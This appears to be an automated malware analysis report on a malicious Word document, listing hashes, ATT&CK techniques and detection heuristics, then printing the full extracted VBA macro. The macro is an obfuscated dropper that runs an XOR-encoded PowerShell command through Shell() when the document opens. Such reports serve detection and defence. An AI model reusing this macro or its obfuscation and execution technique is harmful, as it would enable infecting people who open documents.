Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5550971db878537f…

MALICIOUS

Office (OLE)

103.5 KB Created: 2018-06-13 12:44:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 709052c53c824d6eb090cb8aaab17e2b SHA-1: 9a0497e5a591cd52707e48c25cd9bcb333aedc0a SHA-256: 5550971db878537f0294e66f915a89d2c338ec1375fd02684ad2c853b763093d
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical 'OLE_VBA_SHELL' heuristic indicates the presence of a Shell() call within the VBA code, and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic confirms this execution is tied to the Document_open auto-execution function. This suggests the macro is designed to execute a command, likely to download and run a second-stage payload, as indicated by the ClamAV detection name 'Doc.Dropper.Agent-6584694-0'.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6584694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6584694-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    jsOji = FhOjH
WnosGf = JlvhnDouvN + VBA.Shell(dtFSD + Chr(ZPFMpR + vbKeyP + QmhHmwK) + "owers" + jHfAM + lPMwjGYAF + cttdVwvwvs + PQWkfv + wialDwDhZ, 80821 - 80821)
znbzKH = Tan(31870)
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13158 bytes
SHA-256: 3ac4796d4524cce0a56ed7ac8cee51a6da20366cb95654b9be532c10e27e6fe9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
243 of 451 identifiers look randomly generated (e.g. 'SmRFupqVTMrFT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SmRFupqVTMrFT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function WnosGf()
On Error Resume Next
FFmiB = Tan(65466)
Cnulcw = CDbl(knXNdl)
SkLjM = CDbl(qRPEu * CDbl(iiXWm + Int(NOTjH * Rnd(29362)) * ciSEm * Log(36627 * Bbjjk - ANkGEA + Fix(51))))
QwPMja = Tan(44928)
ECKkR = YUqQB
DCwql = PAiNc
SCjdh = Tan(4879)
oNhkA = CDbl(VMbrM)
bPmCCo = CDbl(QbLCIj * CDbl(VoiNs + Int(KYtwpV * Rnd(8003)) * zFzbRU * Log(2437 * UuTGBm - jUFAki + Fix(51))))
HzWvo = Tan(4375)
sWOhu = oAQZM
cTntl = YwMdjV
EzYEL = Tan(18979)
TztYA = CDbl(ODQQaH)
cGjiIv = CDbl(JGJKdM * CDbl(wViPh + Int(ZJGnG * Rnd(14537)) * jFpsk * Log(42487 * qzQIow - dsMVDa + Fix(51))))
Dznwu = Tan(76425)
wWjhmW = TGUsN
awFZbi = vRtSC
vqdbU = Tan(88882)
hdEJJp = CDbl(PzMHE)
ufFrzd = CDbl(wTCFbV * CDbl(Wmvzc + Int(vNCAi * Rnd(79893)) * PiVpzW * Log(14619 * iXPRKv - zVtwN + Fix(51))))
JcHQoZ = Tan(23514)
XwXjn = dZbwv
jsOji = FhOjH
WnosGf = JlvhnDouvN + VBA.Shell(dtFSD + Chr(ZPFMpR + vbKeyP + QmhHmwK) + "owers" + jHfAM + lPMwjGYAF + cttdVwvwvs + PQWkfv + wialDwDhZ, 80821 - 80821)
znbzKH = Tan(31870)
MLfXTG = CDbl(jGZcc)
znDczt = CDbl(oSSwz * CDbl(hVuXE + Int(ibGarw * Rnd(49707)) * wXiMX * Log(41258 * cjQPuU - npmEUi + Fix(51))))
bTTrsN = Tan(56582)
HFBSGI = hwBJl
odHKi = nQonb
LqcpSd = Tan(13272)
qmvwCV = CDbl(RQQTw)
UKKTm = CDbl(DdcYYD * CDbl(UJjcrM + Int(zWUXX * Rnd(77308)) * iQLHHj * Log(71118 * mancjK - Gwhfp + Fix(51))))
zwkGPM = Tan(27247)
jUFjWA = WFjfr
WGpOjE = PYqswz
End Function
Private Sub Document_open()
On Error Resume Next
wbiNRo = Tan(83139)
KwHZXX = CDbl(wPwnGX)
kmbmZI = CDbl(RwDzFw * CDbl(iwaNRI + Int(SwjCPK * Rnd(50479)) * YfFGiq * Log(91288 * CjVzir - iYqBGh + Fix(51))))
aiSpG = Tan(57852)
wnridp = pfRMtq
wIwaKE = YJTKih
fjnUO = Tan(13050)
JakjS = CDbl(pkofZ)
ZRqdmG = CDbl(poPoqP * CDbl(vYjGE + Int(YQrGu * Rnd(38325)) * wEzjP * Log(30575 * wChdNN - iDqfZU + Fix(51))))
YUYGAT = Tan(42472)
rFUQk = bETbSR
RbsqDs = bqNBaU
WnosGf
jmthi = Tan(60780)
Wwbdpw = CDbl(ziosY)
nqkbW = CDbl(PvZJOT * CDbl(YNcQY + Int(YlQtJ * Rnd(95579)) * hswqUV * Log(90561 * djbnid - tCnfbK + Fix(51))))
CRXMOB = Tan(17532)
pbwtvK = zOKFzD
uhAdt = vsOGdV
YrsJh = Tan(93476)
uGnFlv = CDbl(luwMiG)
naClP = CDbl(ukuHqz * CDbl(RnNll + Int(FIjnz * Rnd(99901)) * DIpwv * Log(15409 * SkkGah - sfvztD + Fix(51))))
LJLzn = Tan(75417)
qHjAJ = iGvTwm
hCGLDD = dloDw
End Sub


Attribute VB_Name = "fQwmNLKXd"
Function jHfAM()
On Error Resume Next
BsZVWJ = CDbl(dNcVuj)
vdjou = Tan(47994)
YVhjh = vkAtt
qSuhP = NszzY
FnRNH = CDbl(wRJHzW * CDbl(lwZwn + Int(JANOv * Rnd(81813)) * NVDjmD * Log(75382 * vjiQY - vHPRXK + Fix(51))))
vCVmM = Tan(48190)
HInMcLML = "HeLL  [striNG" + "]::JOIn('', ( '" + "11o95-" + "73S105o102," + "105-15p18l15o" + "65l74,8" + "8o2p64S7" + "7T69g7" + "4,76-91-15S"
SapRzF = CDbl(KjaClB)
fSSiuZ = Tan(58867)
BDHJu = WStmw
cYtUoB = dfajO
bDFkaE = CDbl(DXIubz * CDbl(dJKfiv + Int(jNmKl * Rnd(75431)) * wuwLBu * Log(9789 * NiHpba - sJfLDl + Fix(51))))
IODAN = Tan(88837)
MwDlcJT = "93S" + "78I6" + "5o" + "75{64g66{20l11-" + "107g"
jopFv = CDbl(kUzQFA)
mkHAhK = Tan(70904)
IRXdVD = ZEISjR
ifENIC = HDfwRj
pKjYsW = CDbl(vOhjUp * CDbl(cZVaR + Int(UGVqT * Rnd(95626)) * DaRRiT * Log(12707 * wUIROG - CpuBO + Fix(51))))
zimrS = Tan(31224)
rCkEGGIcW = "118p108-73S70" + "T15,18T1" + "5T65g74" + "{88l2{"
rLuAP = CDbl(szqhCl)
FviaLD = Tan(89617)
HfCWi = sFZoA
HHrDN = zPwnYn
iSZZiQ = CDbl(EfJto * CDbl(GfYSp + Int(woTXZK * Rnd(72955)) * YOzGH * Log(32626 * znVEr - hpfwlO + Fix(51))))
YqTnj = Tan(90895)
PwNbDim = "64S77g6" + "9g74T7" + "6I91-15l124" + ",86o92,9" + "1-74-66I1o9" + "7I74S" + "91T1p120{7"
hIzzjC = CDbl(DJtisY)
azhvKW = Tan(23739)
MosVp = DkzwvA
wJhQn = KlaDcX
DQwQal = CDbl(osXVMT * CDbl(sPvXj + Int(KuTzh * Rnd(45537)) * ufzpc * Log(76043 * Xjiik - OYTQWJ + Fix(51))))
YKUDa = Tan(30294)
CHrhDuYCCja = "4p77g" + "10" + "8{" + "67-70g74{65" + "S91-20{11o109{" + "10" + "1I64,85l65{94"
PqipR = CDbl(dRYhYX)
ijKvO = Tan(25380)
XOmjv = DLOahd
Gwlap = nPPDil
HaBnmn = CDbl(QvhtW * CDbl(BCTww + Int(fMrjX * Rnd(96134)) * FrwWA * Log(41032 * muEiXI - swbjsM + Fix(51))))
jAsQcO = Tan(95844)
CHVFD = "{15{18S15-8p7" + "1o91g91S9" + "5o21{0o0l88" + "g88o88T1" + "I70I93o92l95T93" + ",64-77l67S74g" + "66I92" + "I64T" + "67{8"
jHfAM = HInMcLML + MwDlcJT + rCkEGGIcW + PwNbDim + CHrhDuYCCja + CHVFD
End Function
Function lPMwjGYAF()
On Error Resume Next
wwSYz = CDbl(XmYmjp)
YqGGXH = Tan(2419)
iODir = PiCzTo
BJwKB = ffGwJ
ZCGpm = CDbl(KJznz * CDbl(iImKS + Int(RWLck * Rnd(64946)) * wwYkND * Log(20399 * czoAQl - qEiaDf + Fix(51))))
lcUkp = Tan(5177)
zzcMYCO = "9,74I93" + "p9" + "2{91,7" + "8I87S" + "1,76T64-66S" + "0o125T29I89"
VBawpE = CDbl(Rrqfw)
MlNvQc = Tan(27683)
fdCVb = wNEjr
ZYBQXw = lCPDCi
OZKbdJ = CDbl(RWlrwI * CDbl(lDKqIK + Int(hZXGc * Rnd(68088)) * bRbaHS * Log(30051 * alSGuz - umENjj + Fix(51))))
DOXhVh = Tan(99958)
ZpXjHYv = "l3" + "0S94l91" + "o25g0p1" + "11g71"
AwiUYk = CDbl(tVcpGa)
NCawi = Tan(74428)
PQjvIj = VNWAiQ
HuwtDL = NWOaJJ
pVQzkU = CDbl(SlXwH * CDbl(zOQtwM + Int(JHVUPQ * Rnd(92425)) * psCUR * Log(69820 * jJwzS - ziIwBp + Fix(51))))
GwdEVb = Tan(40126)
jInvvww = "S91p91I9" + "5-21g0S0T88o88," + "88l1I71p91l" + "66-67o1,65," + "70-76o"
WRONaQ = CDbl(Pqfwf)
OzwpPo = Tan(63006)
QduBU = nWLjLZ
ikDGH = mTaHjI
jFcYIF = CDbl(ZTuOak * CDbl(XdAqlA + Int(dVzBrq * Rnd(48734)) * DqwkEf * Log(85108 * RGitn - ifakHQ + Fix(51))))
LtZZuF = Tan(69237)
STHYSGZuwCo = "71{64" + "S9" + "2S" + "91-1S93I90" + "o0p110" + "p70p66p"
OXpOnr = CDbl(ZoEFHD)
swYLJ = Tan(50190)
tvpUf = hiPkE
zHTpmA = LcmPu
llcJW = CDbl(nYzIv * CDbl(fETXH + Int(fWYWNn * Rnd(90320)) * buzIDq * Log(5608 * XVPnBt - BLlAf + Fix(51))))
atJWYF = Tan(65383)
nHMaRbKXizm = "27p30,94T0" + ",111p71l91p9" + "1-9" + "5o21g0" + "g0-9" + "3S78,89" + "{74-73g64" + "{91o64S"
VzTII = CDbl(JQOwKG)
Aplfk = Tan(40225)
JwZZOB = bWjuXl
jpvTdD = jSvKTG
wBDjTh = CDbl(CuCwt * CDbl(tjCZUm + Int(Yzhua * Rnd(69397)) * vovsr * Log(16662 * EoivR - fGDXbU + Fix(51))))
jrUHa = Tan(72484)
RaFsjWCFh = "1o75-74o" + "0p88l95{95" + ",2" + "S78g" + "95g" + "95p0I7" + "1p67o92" + "g72T64o" + "73-108T70p90{10"
LVGmCR = CDbl(dJLrfN)
oDUoR = Tan(12086)
lGUZnh = PsEMUj
EYwzj = QcPJG
twAdXm = CDbl(DBJpCK * CDbl(MtKtA + Int(wibtq * Rnd(40726)) * QZrww * Log(43275 * uHULtT - hFLkkX + Fix(51))))
DwuTU = Tan(65265)
wAQii = "9o0T111,71{91{" + "91-95p21-" + "0S" + "0T88{88g88g" + "1,70l" + "66{78p72T70" + "I65I78,93" + "S70l90{66-73p6" + "4l93" + "{91T66I86g74l9"
fNRtj = CDbl(WLIXA)
LNbzid = Tan(78009)
jmOZr = NEvzt
pjfQi = ALVXY
JjwZw = CDbl(nWMiF * CDbl(jEGPCM + Int(NrsqSK * Rnd(48263)) * fwLhP * Log(31780 * nbOBB - pSIAj + Fix(51))))
smvwC = Tan(66762)
IolWEvmukH = "3T92-1" + "o76I6" + "4T66I0,95g78I76" + "S68,78l72-74"
lPMwjGYAF = zzcMYCO + ZpXjHYv + jInvvww + STHYSGZuwCo + nHMaRbKXizm + RaFsjWCFh + wAQii + IolWEvmukH
End Function
Function cttdVwvwvs()
On Error Resume Next
vwqVc = CDbl(jnpcR)
plsjVj = Tan(99445)
wwknW = imizju
DMAPX = FWjbuS
wrlNW = CDbl(wBWwI * CDbl(jDuWqp + Int(YqDsv * Rnd(83872)) * wROhVq * Log(58523 * ruHSzT - Hbwcz + Fix(51))))
inPnJH = Tan(42817)
QcJHEV = "o92T0T76o6" + "4l93{74S112l7" + "6o64p66S66,74" + "o93,76l74S0g" + "110,91" + "g110," + "123T75T72o75S2"
mtAjBp = CDbl(vwTiiP)
DSiwuL = Tan(66729)
LvvQz = zVUmV
HBLpQ = CtOpL
omRnA = CDbl(SCzhT * CDbl(XdYBC + Int(uQiBsR * Rnd(8245)) * aUGBOp * Log(48422 * DRAqw - tjIdbs + Fix(51))))
TzzTfr = Tan(9716)
Xdpjolk = "8o98o0T1" + "11-71" + "p91,91I95" + "I21I0S0{88{88g8" + "8S1,72p93p78l73" + "l70T68T78S6" + "8g93o74" + "g78o91-70S73" + "T1l76I64p6"
lFvDwz = CDbl(HKaTZ)
GWJii = Tan(95086)
jQXAH = oukKKz
WvZpr = XdlrL
duqwH = CDbl(bhZtiL * CDbl(wicmQ + Int(hKjJkA * Rnd(8653)) * bdRjEr * Log(95849 * MjMatW - GXspjz + Fix(51))))
SzuaQ = Tan(7285)
MlHFXuhi = "6-0T88" + "l95-2l76I64p65p" + "91S74g65T91{0" + "-6" + "7o11"
BPnoQq = CDbl(ZovXor)
tVKTo = Tan(57693)
uhbaQX = WiwMRV
slBWR = TJccB
ijWXE = CDbl(FjRzOk * CDbl(DitnVw + Int(fnvVIR * Rnd(89643)) * piZZpK * Log(27992 * ovjuVN - cMjpt + Fix(51))))
oKrVdi = Tan(82398)
bPXLoScnjmA = "8p9" + "6p107l" + "108o92,0S8I" + "1g124l"
HQXoS = CDbl(EGvAp)
BTiELj = Tan(45594)
mjwGEX = CXlREA
WTOzi = MQYQD
SFTGNT = CDbl(smLnU * CDbl(TrkjrR + Int(TLpvRu * Rnd(89049)) * lqKzw * Log(35574 * dkFTE - uulSki + Fix(51))))
KmCan = Tan(12046)
zjNHMKl = "95" + "S67p70g91" + "I7-8{111" + "-8" + "-6{20T11o" + "75o1" + "04-1" + "01l88T122"
jrUwd = CDbl(PvAKdt)
hLkFzo = Tan(69335)
qCsNN = AfYnw
FYtulG = puqiwh
cMLqwm = CDbl(Bapqq * CDbl(uHHow + Int(HQfiT * Rnd(51256)) * mOYjs * Log(72383 * SAVAu - MQijA + Fix(51))))
BATIs = Tan(83334)
aJXmM = ",15p18-15{11o" + "95o73p1" + "05o102" + "T105T" + "1p65T74-87"
HfMid = CDbl(jHEQIt)
YATFf = Tan(79912)
FawDr = iNMGE
ivBmW = LvjXh
DGdHYX = CDbl(zjlAlA * CDbl(jrujEz + Int(izzuq * Rnd(88431)) * QchkdH * Log(57335 * vtuit - iTaMCv + Fix(51))))
nSfBG = Tan(71800)
CVvORYzSH = "T91" + "g7o3" + "0g" + "3o15g22p" + "31S27" + "T29I28g28" + "o6T20g11o10"
lOCLw = CDbl(MDZIK)
wZcJCj = Tan(43248)
EuPhM = FLbPJ
BPHfSF = cRbmVZ
JcqrR = CDbl(iCZdbI * CDbl(uiOEzC + Int(lXOojU * Rnd(51161)) * wAUQN * Log(56485 * WilsJE - wbTHC + Fix(51))))
arHdN = Tan(55990)
LHhjXOTbqk = "1S121p" + "11" + "7-10" + "1-10" + "7S71-15g1" + "8{15T11{7"
cttdVwvwvs = QcJHEV + Xdpjolk + MlHFXuhi + bPXLoScnjmA + zjNHMKl + aJXmM + CVvORYzSH + LHhjXOTbqk
End Function
Function PQWkfv()
On Error Resume Next
CLfTN = CDbl(ORQzFH)
IqHsr = Tan(6974)
KsIjav = rQWSIM
ZODwA = zXajoT
CSMpX = CDbl(BAKbh * CDbl(iJWwjR + Int(KqWzw * Rnd(84729)) * CkBET * Log(23627 * QGXvD - jjJij + Fix(51))))
oRhVUp = Tan(3352)
SbEZlOpIuDR = "4S65o89" + ",21I91T" + "74-66S95{15T4g" + "15-8,115o8" + "l15T4l15I" + "11,75o104" + "{10"
iTAsAi = CDbl(qMaTH)
DsVOjP = Tan(34839)
KEaEi = FRSJd
FsFjEL = ncjjj
iPCdX = CDbl(MEfbi * CDbl(ANtVwC + Int(qpKOJ * Rnd(56276)) * SWrFIW * Log(21907 * VoprqN - Niiaj + Fix(51))))
UNjVQ = Tan(82374)
SbnPzCLsRH = "1g88p122" + ",15-4" + "p15T8S1T74l" + "87{74T8g" + "20g73S64" + "g93o74p78S76" + "-71T7,"
OnrwDk = CDbl(TEFrWj)
pwJIjs = Tan(61726)
LBnwr = MMBEP
DtPzj = zXnjhq
DwbID = CDbl(ElwGn * CDbl(JGoCh + Int(qbbHu * Rnd(82937)) * jMwtb * Log(51606 * QQqrWB - SnvZE + Fix(51))))
TmlYJ = Tan(59728)
nTXSriotfdJ = "11p92p75{102I" + "73{76I12" + "2l15o70{65{15" + "g11-109o101I64g" + "85T65S9" + "4S6o84" + ",91S93l86I84" + "T11g107o118l1"
VCpYAQ = CDbl(dkjuhk)
zwaajw = Tan(57246)
cYunl = lNiDC
jKUZiB = WczHqk
BPtWa = CDbl(zwqALO * CDbl(HtXdi + Int(aCwaU * Rnd(41625)) * uVNKF * Log(55864 * RbiDEz - zfWcN + Fix(51))))
ZiRNjD = Tan(91204)
SwhwqGjSE = "08g73S70-1l" + "107I64l88-65p67" + "l64p78,75o1" + "05T70g67g74p7g" + "11T92p75-102" + "{7" + "3o" + "76T122I1S123p64" + "g124o91"
dqoEp = CDbl(PsYpcp)
EAaCh = Tan(3837)
YtiDiX = vqifu
aAadq = MjDJP
wGtKYt = CDbl(zarRJ * CDbl(SYjGsA + Int(AHRpVv * Rnd(58698)) * blPbv * Log(12565 * wGPdn - wzBNu + Fix(51))))
EvLkq = Tan(60400)
HoaKwtnSC = "l93o7" + "0T65S72-" + "7p" + "6o3p15I11{101" + "p121p117I101l"
iAfjD = CDbl(iOfJt)
btZMPA = Tan(47734)
jdbJCa = YJYIZ
iZRRUn = iGQbtd
fcEUi = CDbl(bTfZjY * CDbl(NipfIo + Int(tizYR * Rnd(50492)) * NnWfB * Log(81198 * vRVsh - zdDDv + Fix(51))))
aNSjiP = Tan(37444)
ZtVwnzddzY = "107{71{6g2" + "0-124" + "I91I78o93{91I2" + "o127I93o64o76" + "l74I" + "92g" + "92-15S11g101," + "121l117S" + "101S107g71"
fSnAXW = CDbl(skfsvs)
zCvEsQ = Tan(65196)
Yumoo = cizuJ
puJTY = PBAKqB
CAvAP = CDbl(nlQOZl * CDbl(XIbSb + Int(dzOAX * Rnd(59176)) * wCFXSh * Log(68813 * dzHuo - cwDKV + Fix(51))))
lQQBP = Tan(42578)
LprPUPPrN = ",20{77o93T74p78" + "T68o20p82" + "l76o7" + "8T91I76I71T84," + "88,93o70I91l74" + "{2S71" + "I64," + "92-91o15l11g" + "112S1"
ASwwr = CDbl(IUhdi)
uimEHw = Tan(6772)
vpwjY = JrRKP
NqwTEV = zYQsVV
zvWHir = CDbl(OiRdJW * CDbl(pJwblw + Int(zuEKjz * Rnd(64590)) * KjzbY * Log(59064 * LfWQNo - iMpNj + Fix(51))))
zspZQ = Tan(77970)
VhQzhbi = "l106,87S76S7" + "4{95p91-7" + "0T64l65-1,9" + "8o74{92S92g78p" + "72-74-20I82p82" + "'.spLIt( '{" + "-gToIplS,' ) "
iDijwp = CDbl(HGUIQ)
SGRta = Tan(19852)
dztiXY = fEwjG
MXWqz = ihtRi
SYBZl = CDbl(fockZ * CDbl(cXjCDn + Int(YNjsE * Rnd(70607)) * wZTTTI * Log(28877 * BtFrI - ivBNT + Fix(51))))
uAbdB = Tan(17200)
wkjiGiwj = "|% " + "{ [cHaR" + "] ($_" + "-Bxor " + "0x2F" + " )} ) ) | .((gE" + "t-VarIaBLE "
PQWkfv = SbEZlOpIuDR + SbnPzCLsRH + nTXSriotfdJ + SwhwqGjSE + HoaKwtnSC + ZtVwnzddzY + LprPUPPrN + VhQzhbi + wkjiGiwj
End Function
Function wialDwDhZ()
On Error Resume Next
BaHrf = CDbl(fSuIS)
ldmvwq = Tan(35084)
cjBSN = CENYa
cCuvSN = MmFkQ
zCuXil = CDbl(pizolz * CDbl(KLRLI + Int(qFpfVD * Rnd(56165)) * JZTVrq * Log(65463 * iORNLc - csQSMw + Fix(51))))
nBQwBr = Tan(25821)
VdSQMjQw = "'*MDr*')." + "Na" + "me[3,11,2]-Jo" + "IN'')"
wialDwDhZ = VdSQMjQw
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.